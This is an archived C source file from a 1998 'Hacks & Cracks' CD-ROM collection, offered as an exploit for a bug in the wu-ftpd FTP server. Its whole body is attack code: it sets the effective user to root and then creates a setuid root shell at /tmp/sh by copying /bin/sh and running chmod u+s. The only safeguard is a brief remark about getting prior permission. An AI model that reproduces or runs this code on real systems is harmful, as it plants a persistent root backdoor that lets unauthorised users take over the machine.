home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / ftpbug.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  424b  |  20 lines

  1. /*
  2. Simple program to exploit the bug in wuftp. As you can see, its only a
  3. matter of setting the euid to 0, and doing what you want - in this case
  4. creating a suid root shell in /tmp. Of course, you get prior permission
  5. before trying such a thing.
  6.  
  7. -Halflife
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <unistd.h>
  13. main()
  14. {
  15.    setuid(0);   
  16.    system("/bin/cp /bin/sh /tmp/sh");
  17.    system("/bin/chmod u+s /tmp/sh");
  18. }
  19.  
  20.